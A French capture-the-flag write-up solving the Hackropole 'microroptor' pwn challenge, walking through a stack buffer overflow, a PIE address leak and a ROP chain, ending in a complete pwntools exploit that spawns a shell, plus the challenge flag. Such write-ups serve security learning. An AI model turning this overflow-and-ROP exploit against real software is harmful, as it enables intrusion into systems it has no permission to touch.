Solution de numb3rss pour microroptor

pwn x86/x64

3 décembre 2023

📚 Description du challenge

Difficulté: ⭐
Architecture: amd64

Mon setup:

  • GDB avec pwndbg comme wrapper
  • Binary Ninja
  • Pwntools

Protection sur le binaire:

└─$ pwn checksec --file ./xoraas
[*] '/home/number/Desktop/CTF/Hackropole/Pwn/Microroptor/microroptor'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Dans ce challenge réalisé par Cryptanalyse, il nous est demandé de recupérer le contenu du fichier flag en détournant l’usage d’un binaire nommé microroptor.

Il n’y a pas de stack canary donc on peut s’attendre à ce que ça soit un buffer overflow sur la stack.

Retro-inginiérie du binaire

J’ai utilisé Binary Ninja pour décompiler le binaire mais libre à vous d’utiliser l’outil de votre choix.

Le binaire est composé d’une seule fonction main qui a le pseudo code C suivant:

image

Voici grossièrement les opérations que réalise la dite fonction:

  • Elle nous donne une addresse du binaire via la sortie standard
  • Elle lit 512 octets depuis l’entrée standard et les placent dans la variable buf de 32 octets (oui vous avez bien lu)
  • Elle compare le contenu de la variable buf à la chaine de caractère “m3t4ll1cA” via la fonction strcmp
  • Si la fonction strcmp renvoie 0, le message “Welcome back master […]” est affiché. Si strcmp donne autre chose que 0, le programme renvoie “Nope, […] "

Buffer overflow + ROP

Comme je l’ai dit précédemment, le programme lis 512 octets dans une variable de 32 octets provoquant un dépassement de tampon sur la stack.

On peut utiliser ceci pour rediriger l’exécution du programme vers… Vers quoi enfait ? La protection NX étant activé, il ne nous est pas possible d’exécuter un shellcode.

C’est là qu’il est bon d’introduire le concept de ROP -> return oriented programming: C’est une technique visant à utiliser des petites instructions dans le binaire appelées gadget pour effectuer des opérations arbitraires (dans notre cas, exécuter le binaire /bin/sh).

Pour trouver nos gadgets, on va utiliser ROPGadget, un outil permettant de trouver les gadgets que contient un binaire:

└─$ ROPgadget --binary microroptor
Gadgets information
============================================================
[...]
0x0000000000001169 : mov qword ptr [rdi], rax ; ret
[...]
0x0000000000001244 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001246 : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001248 : pop r14 ; pop r15 ; ret
0x000000000000124a : pop r15 ; ret
0x000000000000116d : pop rax ; ret
0x0000000000001243 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001247 : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000000114f : pop rbp ; ret
0x000000000000116f : pop rdi ; ret
0x0000000000001171 : pop rdx ; ret
0x0000000000001249 : pop rsi ; pop r15 ; ret
0x0000000000001245 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
[...]
0x0000000000001173 : syscall
[...]

Unique gadgets found: 86

Malheureusement, le binaire ne contient pas la chaîne de caractère ‘/bin/sh’ on va donc devoir l’écrire nous même dans le binaire.

Pour ce faire, on va utiliser les gadgets suivants:

0x0000000000001169 : mov qword ptr [rdi], rax ; ret
0x000000000000116d : pop rax ; ret
0x000000000000116f : pop rdi ; ret

On va mettre:

  • dans le registre rdi, une addresse dans le binaire où l’on veut écrire /bin/sh
  • dans rax, on va mettre /bin/sh
  • puis on va appeler mov [rdi], rax pour qu’il mette à l’addresse contenue dans rdi la valeur de rax.

Ce qui nous donne le code python suivant:

pop_rax     = elf.address + 0x000000000000116d
pop_rdi     = elf.address + 0x000000000000116f
mov_rdi_rax = elf.address  + 0x0000000000001169

payload = p64(pop_rdi)
payload += p64(elf.address + 16416)
# J'ai choisi d'écrire à cet offset, libre à vous d'en choisir un autre
payload += p64(pop_rax)
payload += b"/bin/sh\0"
payload += p64(mov_rdi_rax)

Pour appeler /bin/sh, on va utiliser le syscall execve . Qui prend ses paramètres de la manière suivantes:

rax                                                                    rdi          rsi         rdx

image

Notre registre rdi est déja valide mais il faut mettre rsi et rdx à 0 et rax à 59.

pop_rax = elf.address + 0x000000000000116d
pop_rdi = elf.address + 0x000000000000116f
pop_rsi = elf.address + 0x0000000000001249
pop_rdx = elf.address + 0x0000000000001171
syscall = elf.address + 0x0000000000001173

payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(pop_rsi)
payload += p64(0)*2
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)

💣 Exploit

Il ne manque plus qu’un élément avant de pouvoir récuperer le flag: en effet la protection PIE est activé pour le binaire. Celle ci rend aléatoire les addresses du binaire et rend donc plus ardue notre ROP. Heureusement pour nous, le programme nous donne une fuite de mémoire juste avant de nous demander d’entrer des données ce qui va nous permettre de déterminer à chaque fois l’adresse à laquelle est chargé le binaire car l’écart entre ces deux adresses est constants.

Pour calculer la différence entre l’addresse de base du binaire est celle qui nous est fournie, j’ai utilisé gdb pour afficher la base du binaire via la commande vmmap microroptor et j’ai aussi récupérer le leak: 0x555555558010

pwndbg> vmmap microroptor
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x555555554000     0x555555555000 r--p     1000      0 /home/number/Desktop/CTF/Hackropole/Pwn/Microroptor/microroptor
    0x555555555000     0x555555556000 r-xp     1000   1000 /home/number/Desktop/CTF/Hackropole/Pwn/Microroptor/microroptor
    0x555555556000     0x555555557000 r--p     1000   2000 /home/number/Desktop/CTF/Hackropole/Pwn/Microroptor/microroptor
    0x555555557000     0x555555558000 r--p     1000   2000 /home/number/Desktop/CTF/Hackropole/Pwn/Microroptor/microroptor
    0x555555558000     0x555555559000 rw-p     1000   3000 /home/number/Desktop/CTF/Hackropole/Pwn/Microroptor/microroptor
pwndbg>

La différence entre le leak est la base est donc:

>>> 0x555555558010 - 0x555555554000
16400

On peut dès à présent écrire notre exploit via la librairie pwntools en python:

from pwn import *

elf = ELF('./microroptor', checksec=False)


p = remote('localhost', 4000)

leak = int(p.recvline().strip(),0)

elf.address = leak - 16400

info("elf @0x%hx" % elf.address)

#0x000000000000116d : pop rax ; ret
#0x000000000000114f : pop rbp ; ret
#0x000000000000116f : pop rdi ; ret
#0x0000000000001171 : pop rdx ; ret
#0x0000000000001249 : pop rsi ; pop r15 ; ret
#0x0000000000001173 : syscall
#0x0000000000001169 : mov [rdi] , rax ; ret

pop_rax = elf.address + 0x000000000000116d
pop_rdi = elf.address + 0x000000000000116f
pop_rsi = elf.address + 0x0000000000001249
pop_rdx = elf.address + 0x0000000000001171
syscall = elf.address + 0x0000000000001173
mov_rdi_rax = elf.address  + 0x0000000000001169

payload = b"A"*40
payload += p64(pop_rdi)
payload += p64(elf.address + 16416)
payload += p64(pop_rax)
payload += b"/bin/sh\0"
payload += p64(mov_rdi_rax)
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(pop_rsi)
payload += p64(0)*2
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)

p.sendline(payload)

p.interactive()
$ python exploit.py
[+] Opening connection to localhost on port 4000: Done
[*] elf @0x555555554000
[*] Switching to interactive mode
Nope, you are no master.
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag
FCSC{e3752da07f2c9e3a0f9ad69679792e5a8d53ba717a2652e29fb975fcf36f9258}

Merci à Cryptanalyse pour ce challenge et n’hésitez pas à m’envoyer un message sur discord @numb3rss ou sur Twitter @numbrs si vous avez une question.